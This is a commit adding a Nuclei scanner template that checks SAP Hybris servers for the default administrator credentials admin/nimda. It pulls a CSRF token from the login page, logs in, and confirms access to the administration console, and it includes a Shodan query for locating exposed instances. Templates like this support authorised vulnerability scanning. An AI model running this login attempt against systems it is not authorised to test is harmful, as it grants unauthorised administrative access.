Merge pull request #4969 from projectdiscovery/hybris-default-login
Create hybris-default-login.yamlpatch-1
commit
c5b3296ec4
|
@ -0,0 +1,61 @@
|
|||
id: hybris-default-login
|
||||
info:
|
||||
name: Hybris Default Login
|
||||
author: princechaddha
|
||||
severity: high
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
||||
cvss-score: 8.3
|
||||
cwe-id: CWE-522
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Hybris"
|
||||
tags: default-login,hybris
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /login HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /j_spring_security_check HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: {{BaseURL}}login
|
||||
|
||||
j_username={{username}}&j_password={{password}}&_csrf={{csrftoken}}
|
||||
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
attack: pitchfork
|
||||
payloads:
|
||||
username:
|
||||
- admin
|
||||
password:
|
||||
- nimda
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "hybris administration console"
|
||||
- "You're Administrator"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: csrftoken
|
||||
internal: true
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- '<meta name="_csrf" content="([a-z0-9-]+)" \/>'
|
Loading…
Reference in New Issue